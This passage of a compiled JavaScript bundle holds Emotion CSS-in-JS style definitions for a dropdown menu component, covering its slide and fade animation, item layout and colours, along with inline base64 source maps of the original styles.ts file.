gfTtcblx0JHsgcnRsKFxuXHRcdHtcblx0XHRcdHRyYW5zZm9ybTogYHNjYWxlWCgxKWAsXG5cdFx0fSxcblx0XHR7XG5cdFx0XHR0cmFuc2Zvcm06IGBzY2FsZVgoLTEpYCxcblx0XHR9XG5cdCkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtTGFiZWwgPSBzdHlsZWQoIFRydW5jYXRlIClgXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDIwcHg7XG5cdGNvbG9yOiBpbmhlcml0O1xuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1IZWxwVGV4dCA9IHN0eWxlZCggVHJ1bmNhdGUgKWBcblx0Zm9udC1zaXplOiAkeyBmb250KCAnaGVscFRleHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDE2cHg7XG5cdGNvbG9yOiAkeyBMSUdIVEVSX1RFWFRfQ09MT1IgfTtcblx0b3ZlcmZsb3ctd3JhcDogYW55d2hlcmU7XG5cblx0W2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKSAqOm5vdCggJHsgTWVudSB9ICkgJixcblx0W2FyaWEtZGlzYWJsZWQ9J3RydWUnXSAqOm5vdCggJHsgTWVudSB9ICkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG4iXX0= */"), "outline:2px solid transparent!important;@media not ( prefers-reduced-motion ){transition-property:transform,opacity;transition-duration:", DROPDOWN_MOTION_CSS.SLIDE_DURATION, ",", DROPDOWN_MOTION_CSS.FADE_DURATION, ";transition-timing-function:", DROPDOWN_MOTION_CSS.SLIDE_EASING, ",", DROPDOWN_MOTION_CSS.FADE_EASING, ";will-change:transform,opacity;&:not( [data-submenu] ){opacity:0;&[data-enter]{opacity:1;}&[data-side='bottom']{transform:translateY(\n -", DROPDOWN_MOTION_CSS.SLIDE_DISTANCE, "\n );}&[data-side='top']{transform:translateY(\n ", DROPDOWN_MOTION_CSS.SLIDE_DISTANCE, "\n );}&[data-side='left']{transform:translateX(\n ", DROPDOWN_MOTION_CSS.SLIDE_DISTANCE, "\n );}&[data-side='right']{transform:translateX(\n -", DROPDOWN_MOTION_CSS.SLIDE_DISTANCE, "\n );}&[data-enter][data-side='bottom'],&[data-enter][data-side='top']{transform:translateY( 0 );}&[data-enter][data-side='left'],&[data-enter][data-side='right']{transform:translateX( 0 );}}}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrQzZFIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIGZvbnQsIHJ0bCwgQ09ORklHLCBEUk9QRE9XTl9NT1RJT05fQ1NTIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgSWNvbiBmcm9tICcuLi9pY29uJztcbmltcG9ydCB7IFRydW5jYXRlIH0gZnJvbSAnLi4vdHJ1bmNhdGUnO1xuaW1wb3J0IHR5cGUgeyBDb250ZXh0UHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuY29uc3QgQ09OVEVOVF9XUkFQUEVSX1BBRERJTkcgPSBzcGFjZSggMSApO1xuY29uc3QgSVRFTV9QQURESU5HX0JMT0NLID0gc3BhY2UoIDEgKTtcbmNvbnN0IElURU1fUEFERElOR19JTkxJTkUgPSBzcGFjZSggMyApO1xuXG4vLyBUT0RPOlxuLy8gLSBib3JkZXIgY29sb3IgYW5kIGRpdmlkZXIgY29sb3IgYXJlIGRpZmZlcmVudCBmcm9tIENPTE9SUy50aGVtZSB2YXJpYWJsZXNcbi8vIC0gbGlnaHRlciB0ZXh0IGNvbG9yIGlzIG5vdCBkZWZpbmVkIGluIENPTE9SUy50aGVtZSwgc2hvdWxkIGl0IGJlP1xuLy8gLSBsaWdodGVyIGJhY2tncm91bmQgY29sb3IgaXMgbm90IGRlZmluZWQgaW4gQ09MT1JTLnRoZW1lLCBzaG91bGQgaXQgYmU/XG5jb25zdCBERUZBVUxUX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXTtcbmNvbnN0IERJVklERVJfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgMjAwIF07XG5jb25zdCBMSUdIVEVSX1RFWFRfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF07XG5jb25zdCBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SID0gQ09MT1JTLnRoZW1lLmdyYXlbIDEwMCBdO1xuY29uc3QgVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kO1xuY29uc3QgREVGQVVMVF9CT1hfU0hBRE9XID0gYDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9ICR7IERFRkFVTFRfQk9SREVSX0NPTE9SIH0sICR7IENPTkZJRy5lbGV2YXRpb25NZWRpdW0gfWA7XG5jb25zdCBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPVyA9IGAwIDAgMCAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSAkeyBUT09MQkFSX1ZBUklBTlRfQk9SREVSX0NPTE9SIH1gO1xuXG5jb25zdCBHUklEX1RFTVBMQVRFX0NPTFMgPSAnbWlubWF4KCAwLCBtYXgtY29udGVudCApIDFmcic7XG5cbmV4cG9ydCBjb25zdCBNZW51ID0gc3R5bGVkKCBBcmlha2l0Lk1lbnUgKTwgUGljazwgQ29udGV4dFByb3BzLCAndmFyaWFudCcgPiA+YFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdC8qIFNhbWUgYXMgcG9wb3ZlciBjb21wb25lbnQgKi9cblx0LyogVE9ETzogaXMgdGhlcmUgYSB3YXkgdG8gcmVhZCB0aGUgc2FzcyB2YXJpYWJsZT8gKi9cblx0ei1pbmRleDogMTAwMDAwMDtcblxuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6ICR7IEdSSURfVEVNUExBVEVfQ09MUyB9O1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0bWluLXdpZHRoOiAxNjBweDtcblx0bWF4LXdpZHRoOiAzMjBweDtcblx0bWF4LWhlaWdodDogdmFyKCAtLXBvcG92ZXItYXZhaWxhYmxlLWhlaWdodCApO1xuXG5cdHBhZGRpbmc6ICR7IENPTlRFTlRfV1JBUFBFUl9QQURESU5HIH07XG5cblx0b3ZlcnNjcm9sbC1iZWhhdmlvcjogY29udGFpbjtcblx0b3ZlcmZsb3c6IGF1dG87XG5cblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c01lZGl1bSB9O1xuXHQkeyAoIHByb3BzICkgPT4gY3NzYFxuXHRcdGJveC1zaGFkb3c6ICR7IHByb3BzLnZhcmlhbnQgPT09ICd0b29sYmFyJ1xuXHRcdFx0PyBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPV1xuXHRcdFx0OiBERUZBVUxUX0JPWF9TSEFET1cgfTtcblx0YCB9XG5cblx0LyogT25seSB2aXNpYmxlIGluIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlICovXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuXG5cdC8qIE9wZW4vY2xvc2UgYW5pbWF0aW9uICovXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb24tcHJvcGVydHk6IHRyYW5zZm9ybSwgb3BhY2l0eTtcblx0XHR0cmFuc2l0aW9uLWR1cmF0aW9uOiAkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RVUkFUSU9OIH0sXG5cdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLkZBREVfRFVSQVRJT04gfTtcblx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogJHsgRFJPUERPV05fTU9USU9OX0NTUy5TTElERV9FQVNJTkcgfSxcblx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuRkFERV9FQVNJTkcgfTtcblx0XHR3aWxsLWNoYW5nZTogdHJhbnNmb3JtLCBvcGFjaXR5O1xuXG5cdFx0Jjpub3QoIFtkYXRhLXN1Ym1lbnVdICkge1xuXHRcdFx0LyogUmVnYXJkbGVzcyBvZiB0aGUgc2lkZSwgZmFkZSBpbiBhbmQgb3V0LiAqL1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdCZbZGF0YS1lbnRlcl0ge1xuXHRcdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0fVxuXG5cdFx0XHQvKiBTbGlkZSBpbiB0aGUgZGlyZWN0aW9uIHRoZSBtZW51IGlzIG9wZW5pbmcuICovXG5cdFx0XHQmW2RhdGEtc2lkZT0nYm90dG9tJ10ge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoXG5cdFx0XHRcdFx0LSR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J3RvcCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKFxuXHRcdFx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J2xlZnQnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWChcblx0XHRcdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKFxuXHRcdFx0XHRcdC0keyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdib3R0b20nXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSd0b3AnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggMCApO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLWVudGVyXVtkYXRhLXNpZGU9J2xlZnQnXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKCAwICk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlSXRlbSA9IGNzc2Bcblx0YWxsOiB1bnNldDtcblxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQvKiBPY2N1cHkgdGhlIHdpZHRoIG9mIGFsbCBncmlkIGNvbHVtbnMgKGllLiBmdWxsIHdpZHRoKSAqL1xuXHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogJHsgR1JJRF9URU1QTEFURV9DT0xTIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cblx0QHN1cHBvcnRzICggZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBzdWJncmlkICkge1xuXHRcdC8qXG5cdFx0ICogRGVmaW5lIGEgZ3JpZCBsYXlvdXQgd2hpY2ggaW5oZXJpdHMgdGhlIHNhbWUgY29sdW1ucyBjb25maWd1cmF0aW9uXG5cdFx0ICogZnJvbSB0aGUgcGFyZW50IGxheW91dCAoaWUuIHN1YmdyaWQpLiBUaGlzIGFsbG93cyB0aGUgbWVudVxuXHRcdCAqIHRvIHN5bmNocm9uaXplIHRoZSBpbmRlbnRhdGlvbiBvZiBhbGwgaXRzIGl0ZW1zLlxuXHRcdCAqL1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogc3ViZ3JpZDtcblx0fVxuXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdGxpbmUtaGVpZ2h0OiAyMHB4O1xuXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRwYWRkaW5nLWJsb2NrOiAkeyBJVEVNX1BBRERJTkdfQkxPQ0sgfTtcblx0cGFkZGluZy1pbmxpbmU6ICR7IElURU1fUEFERElOR19JTkxJTkUgfTtcblxuXHQvKlxuXHQgKiBNYWtlIHN1cmUgdGhhdCwgd2hlbiBhbiBpdGVtIGlzIHNjcm9sbGVkIGludG8gdmlldyAoZWcuIHdoaWxlIHVzaW5nIHRoZVxuXHQgKiBrZXlib2FyZCB0byBtb3ZlIGZvY3VzKSwgdGhlIHdob2xlIGl0ZW0gY29tZXMgaW50byB2aWV3XG5cdCAqL1xuXHRzY3JvbGwtbWFyZ2luOiAkeyBDT05URU5UX1dSQVBQRVJfUEFERElORyB9O1xuXG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRvdXRsaW5lOiBub25lO1xuXG5cdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLnRleHREaXNhYmxlZCB9O1xuXHRcdGN1cnNvcjogbm90LWFsbG93ZWQ7XG5cdH1cblxuXHQvKiBBY3RpdmUgaXRlbSAoaW5jbHVkaW5nIGhvdmVyKSAqL1xuXHQmW2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKTpub3QoXG5cdFx0XHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddXG5cdFx0KSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblx0fVxuXG5cdC8qIEtleWJvYXJkIGZvY3VzIChmb2N1cy12aXNpYmxlKSAqL1xuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIDEuNXB4ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0fVxuXG5cdC8qIEFjdGl2ZSAoaWUuIHByZXNzZWQsIG1vdXNlIGRvd24pICovXG5cdCY6YWN0aXZlLFxuXHQmW2RhdGEtYWN0aXZlXSB7XG5cdFx0LyogVE9ETzogc2hvdWxkIHRoZXJlIGJlIGEgdmlzdWFsIGFjdGl2ZSBzdGF0ZT8gKi9cblx0fVxuXG5cdC8qIFdoZW4gdGhlIGl0ZW0gaXMgdGhlIHRyaWdnZXIgb2YgYW4gb3BlbiBzdWJtZW51ICovXG5cdCR7IE1lbnUgfTpub3QoOmZvY3VzKSAmOm5vdCg6Zm9jdXMpW2FyaWEtZXhwYW5kZWQ9XCJ0cnVlXCJdIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SIH07XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdH1cblxuXHRzdmcge1xuXHRcdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW0gKWBcblx0JHsgYmFzZUl0ZW0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDaGVja2JveEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW1DaGVja2JveCApYFxuXHQkeyBiYXNlSXRlbSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhZGlvSXRlbSA9IHN0eWxlZCggQXJpYWtpdC5NZW51SXRlbVJhZGlvIClgXG5cdCR7IGJhc2VJdGVtIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVByZWZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0LyogQWx3YXlzIG9jY3VweSB0aGUgZmlyc3QgY29sdW1uLCBldmVuIHdoZW4gYXV0by1jb2xsYXBzaW5nICovXG5cdGdyaWQtY29sdW1uOiAxO1xuXG5cdC8qXG5cdCAqIEV2ZW4gd2hlbiB0aGUgaXRlbSBpcyBub3QgY2hlY2tlZCwgb2NjdXB5IHRoZSBzYW1lIHNjcmVlbiBzcGFjZSB0byBhdm9pZFxuXHQgKiB0aGUgc3BhY2UgY29sbGFwc2lkZSB3aGVuIG5vIGl0ZW1zIGFyZSBjaGVja2VkLlxuXHQgKi9cblx0JHsgQ2hlY2tib3hJdGVtIH0gPiAmLFxuXHQkeyBSYWRpb0l0ZW0gfSA+ICYge1xuXHRcdC8qIFNhbWUgd2lkdGggYXMgdGhlIGNoZWNrIGljb25zICovXG5cdFx0bWluLXdpZHRoOiAkeyBzcGFjZSggNiApIH07XG5cdH1cblxuXHQkeyBDaGVja2JveEl0ZW0gfSA+ICYsXG5cdCR7IFJhZGlvSXRlbSB9ID4gJixcblx0Jjpub3QoIDplbXB0eSApIHtcblx0XHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBhY3RpdmUsIGV4Y2VwdCB3aGVuIGl0J3MgYSBub24tZm9jdXNlZC9ob3ZlcmVkXG5cdCogc3VibWVudSB0cmlnZ2VyIChpbiB0aGF0IGNhc2UsIGNvbG9yIHNob3VsZCBub3QgYmUgaW5oZXJpdGVkKVxuXHQqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApID4gJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddID4gJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ29udGVudFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQvKlxuXHQgKiBBbHdheXMgb2NjdXB5IHRoZSBzZWNvbmQgY29sdW1uLCBzaW5jZSB0aGUgZmlyc3QgY29sdW1uXG5cdCAqIGlzIHRha2VuIGJ5IHRoZSBwcmVmaXggd3JhcHBlciAod2hlbiBkaXNwbGF5ZWQpLlxuXHQgKi9cblx0Z3JpZC1jb2x1bW46IDI7XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuXHRnYXA6ICR7IHNwYWNlKCAzICkgfTtcblxuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ2hpbGRyZW5XcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0ZmxleDogMTtcblxuXHRkaXNwbGF5OiBpbmxpbmUtZmxleDtcblx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0Z2FwOiAkeyBzcGFjZSggMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVN1ZmZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZmxleDogMCAxIGZpdC1jb250ZW50O1xuXHRtaW4td2lkdGg6IDA7XG5cdHdpZHRoOiBmaXQtY29udGVudDtcblxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0Z2FwOiAkeyBzcGFjZSggMyApIH07XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCAqIFdoZW4gdGhlIHBhcmVudCBtZW51IGl0ZW0gaXMgYWN0aXZlLCBleGNlcHQgd2hlbiBpdCdzIGEgbm9uLWZvY3VzZWQvaG92ZXJlZFxuXHQgKiBzdWJtZW51IHRyaWdnZXIgKGluIHRoYXQgY2FzZSwgY29sb3Igc2hvdWxkIG5vdCBiZSBpbmhlcml0ZWQpXG5cdCAqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApICo6bm90KCR7IE1lbnUgfSkgJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICo6bm90KCR7IE1lbnUgfSkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cCA9IHN0eWxlZCggQXJpYWtpdC5NZW51R3JvdXAgKWBcblx0LyogSWdub3JlIHRoaXMgZWxlbWVudCB3aGVuIGNhbGN1bGF0aW5nIHRoZSBsYXlvdXQuIFVzZWZ1bCBmb3Igc3ViZ3JpZCAqL1xuXHRkaXNwbGF5OiBjb250ZW50cztcbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cExhYmVsID0gc3R5bGVkKCBBcmlha2l0Lk1lbnVHcm91cExhYmVsIClgXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgc3BhY2UoIDMgKSB9O1xuXHRwYWRkaW5nLWJsb2NrLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHRwYWRkaW5nLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFNlcGFyYXRvciA9IHN0eWxlZCggQXJpYWtpdC5NZW51U2VwYXJhdG9yICk8XG5cdFBpY2s8IENvbnRleHRQcm9wcywgJ3ZhcmlhbnQnID5cbj5gXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0Ym9yZGVyOiBub25lO1xuXHRoZWlnaHQ6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyAoIHByb3BzICkgPT5cblx0XHRwcm9wcy52YXJpYW50ID09PSAndG9vbGJhcidcblx0XHRcdD8gVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUlxuXHRcdFx0OiBESVZJREVSX0NPTE9SIH07XG5cdC8qIEFsaWduIHdpdGggbWVudSBpdGVtcycgY29udGVudCAqL1xuXHRtYXJnaW4tYmxvY2s6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuXG5cdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VibWVudUNoZXZyb25JY29uID0gc3R5bGVkKCBJY29uIClgXG5cdHdpZHRoOiAkeyBzcGFjZSggMS41ICkgfTtcblx0JHsgcnRsKFxuXHRcdHtcblx0XHRcdHRyYW5zZm9ybTogYHNjYWxlWCgxKWAsXG5cdFx0fSxcblx0XHR7XG5cdFx0XHR0cmFuc2Zvcm06IGBzY2FsZVgoLTEpYCxcblx0XHR9XG5cdCkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtTGFiZWwgPSBzdHlsZWQoIFRydW5jYXRlIClgXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDIwcHg7XG5cdGNvbG9yOiBpbmhlcml0O1xuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1IZWxwVGV4dCA9IHN0eWxlZCggVHJ1bmNhdGUgKWBcblx0Zm9udC1zaXplOiAkeyBmb250KCAnaGVscFRleHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDE2cHg7XG5cdGNvbG9yOiAkeyBMSUdIVEVSX1RFWFRfQ09MT1IgfTtcblx0b3ZlcmZsb3ctd3JhcDogYW55d2hlcmU7XG5cblx0W2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKSAqOm5vdCggJHsgTWVudSB9ICkgJixcblx0W2FyaWEtZGlzYWJsZWQ9J3RydWUnXSAqOm5vdCggJHsgTWVudSB9ICkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG4iXX0= */"));
50196 var baseItem = /* @__PURE__ */ css("all:unset;position:relative;min-height:", space(8), ";box-sizing:border-box;grid-column:1/-1;display:grid;grid-template-columns:", GRID_TEMPLATE_COLS, ";align-items:center;@supports ( grid-template-columns: subgrid ){grid-template-columns:subgrid;}font-size:", font("default.fontSize"), ";font-family:inherit;font-weight:normal;line-height:20px;color:", COLORS.theme.foreground, ";border-radius:", config_values_default.radiusSmall, ";padding-block:", ITEM_PADDING_BLOCK, ";padding-inline:", ITEM_PADDING_INLINE, ";scroll-margin:", CONTENT_WRAPPER_PADDING, ";user-select:none;outline:none;&[aria-disabled='true']{color:", COLORS.ui.textDisabled, ";cursor:not-allowed;}&[data-active-item]:not( [data-focus-visible] ):not(\n [aria-disabled='true']\n ){background-color:", COLORS.theme.accent, ";color:", COLORS.theme.accentInverted, ";}&[data-focus-visible]{box-shadow:0 0 0 1.5px ", COLORS.theme.accent, ";outline:2px solid transparent;}&:active,&[data-active]{}", Menu22, ':not(:focus) &:not(:focus)[aria-expanded="true"]{background-color:', LIGHT_BACKGROUND_COLOR, ";color:", COLORS.theme.foreground, ";}svg{fill:currentColor;}" + (false ? "" : ";label:baseItem;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrSG9CIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIGZvbnQsIHJ0bCwgQ09ORklHLCBEUk9QRE9XTl9NT1RJT05fQ1NTIH0gZnJvbSAnLi4vdXRpbHM